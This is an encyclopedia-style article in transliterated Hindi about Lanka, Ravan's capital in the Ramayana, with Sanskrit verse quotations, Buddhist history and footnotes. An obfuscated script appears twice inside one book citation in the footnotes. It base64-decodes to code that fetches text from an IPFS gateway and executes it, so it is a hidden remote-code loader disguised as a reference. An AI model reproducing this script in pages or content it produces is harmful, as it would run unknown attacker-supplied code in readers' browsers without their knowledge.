लंका

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[[chitr:Hanumaan.jpg|thumb|250px|right|hanumanji]] lanka hindoo pauranik granthoan tatha manyataoan ke anusar ramayan kal mean ravan ki rajadhani thi. isaki sthiti vartaman 'sianhal' (saulon) ya lanka dvip mean mani jati hai. mana jata hai ki may danav ne is nagari ko nirmit kiya tha, kintu doosari parampara ke anusar devashilpi vishvakarma dvara isaka nirman mana jata hai. chitrakoot parvat ke bich samudroan se ghiri kuber ki svarg nagari lanka ko ravan ne apane parakram se chhin liya tha. yadyapi adhunik lanka mean isaka kianchit matr bhi ullekh nahian prapt hota hai, kintu ram-katha ke prasang mean 'valmiki ramayan' se lekar aj tak likhe gaye samast ram-kavyoan mean isaka prayog milata hai.

pauranik ullekh

lanka 'trikoot' namak parvat par sthit thi. yah nagari apane aishvary aur vaibhav ki parakashtha ke karan svarn-mayi kahi jati thi. valmiki ne aranyakand^[1] aur sundarakand^[2] mean lanka ka sudar varnan kiya hai-

'pradoshkale hanumananstoornamutpaty viryavanh, pravivesh purian ramyaan pravibhaktaan mahapathamh, prasadamalaan vitata stabhaiah kachanasanibhaiah, shatakubhanibhairjalairgadharvanagaropamamh, saptabhaumashtabhaumaishch s dadarsh mahapurimh; sthalaiah sphatikasankirnah kartasvaraanvibhooshitaiah, taiste shushabhiretani bhavanyatr rakshasamh.'

bharat aur lanka ke bich ke samudr par pul banakar shriramachandr apani sena ko lanka le ge the. valmiki ramayan ke anusar, bharat ke dakshinatam bhag mean sthit mahendr namak parvat se koodakar shriram ke param bhakt hanuman samudr par lanka pahuanche the. ramachandraji ki sena ne lanka mean pahuanchakar samudr tat ke nikat suvel parvat par pahala shivir banaya tha. lanka aur bharat ke bich ke uthale samudr mean jo jalamagn parvat shreni hai, usake ek bhag ko valmiki ramayan mean mainak kaha gaya hai.^[3]

valmiki ramayan ka varnan

valmiki ramayan, sundarakand^[4] mean bhi is ramyanagari ka manohar varnan hai, jisaka mukhy bhag is prakar hai- 'sharadambudharaprakhyaibhanvanairupashobhitamh, sagaropam nirghoshaan sagaranilasevitamh. supushtabalasanpushtaan yathaiv vitapavatimh charutorananiryoohaan paandooradvaratonamh. bhujagacharitaan guptaan shubhaan bhogavatimiv, taan savidyadghanakirna jyotirgananisheditamh. chandamarutanirhriadaan yatha chapyamaravatimh shatakuanbhen mahata prakarenabhisanvritamh kiankanijalaghoshabhi: patakabhiranlankritamh, asady sahasa hrisht: prakaramabhipedivanh. vaidooryakritasopanai:, sphatik muktabhirmanikuttimabhooshitai: taptahatak niryoohai: rajatamalapaandoorai:, vaidooryakritasopanai: sphatikantarapaansubhi:, charusanjavanopetai: khamivotpatitai: shubhai:, krauanchabarhinasanghushtairajihansanishevitai:, tooryabharananirghorvai: sarvat: parinaditamh. vasvokasarapratimaan samikshy nagari tat:, khamivotpatitaan lankaan jaharsh hanumanh kapi:.'^[5]^[3]

hanuman ne sita se ashok vatika mean bhet karane ke uparant lanka ka ek bhag jalakar bhasm kar diya tha. sundarakand^[6] aur sundarakand 14 mean lanka ke anek kritrim vanoan evan t dagoan ka varnan hai. ram ne ravan ke vadhoparant lanka ka rajy vibhishan ko de diya tha.

bauddh dharm ka prachar

bauddhakalin lanka ka itihas 'mahavansh' tatha 'dipavansh' namak pali grantho mean prapt hota hai. ashok ke putr maheandr tatha putri sanghamitra ne sarvapratham lanka mean bauddh mat ka prachar kiya tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ aranyakand 55,7-9
↑ sundarakand 2,48-50
↑ ^3.0 ^3.1 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 807 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ sundarakand 3
↑ sundarakand 3,2-3-4-5-6-7-8-9-10-11-12
↑ sundarakand 54,8-9

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ranyakand 55,7-9

[2] sundarakand 2,48-50

[aa-3] 3.0 ^3.1 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 807 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[4] sundarakand 3

[5] sundarakand 3,2-3-4-5-6-7-8-9-10-11-12

[6] sundarakand 54,8-9

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